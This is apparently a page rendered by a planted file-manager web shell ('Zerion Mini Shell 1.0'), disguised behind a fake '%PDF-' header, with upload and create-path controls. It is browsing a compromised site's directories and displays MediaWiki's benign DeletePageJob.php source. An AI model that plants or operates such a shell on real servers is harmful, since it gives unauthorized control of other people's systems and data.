%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/www/varak.net/wiki.varak.net/includes/jobqueue/jobs/
Upload File :
Create Path :
Current File : //proc/thread-self/root/www/varak.net/wiki.varak.net/includes/jobqueue/jobs/DeletePageJob.php

<?php

/**
 * Class DeletePageJob
 */
class DeletePageJob extends Job {
	public function __construct( $title, $params ) {
		parent::__construct( 'deletePage', $title, $params );
	}

	/**
	 * Execute the job
	 *
	 * @return bool
	 */
	public function run() {
		// Failure to load the page is not job failure.
		// A parallel deletion operation may have already completed the page deletion.
		$wikiPage = WikiPage::newFromID( $this->params['wikiPageId'] );
		if ( $wikiPage ) {
			$wikiPage->doDeleteArticleBatched(
				$this->params['reason'],
				$this->params['suppress'],
				User::newFromId( $this->params['userId'] ),
				json_decode( $this->params['tags'] ),
				$this->params['logsubtype'],
				false,
				$this->getRequestId() );
		}
		return true;
	}
}

Zerion Mini Shell 1.0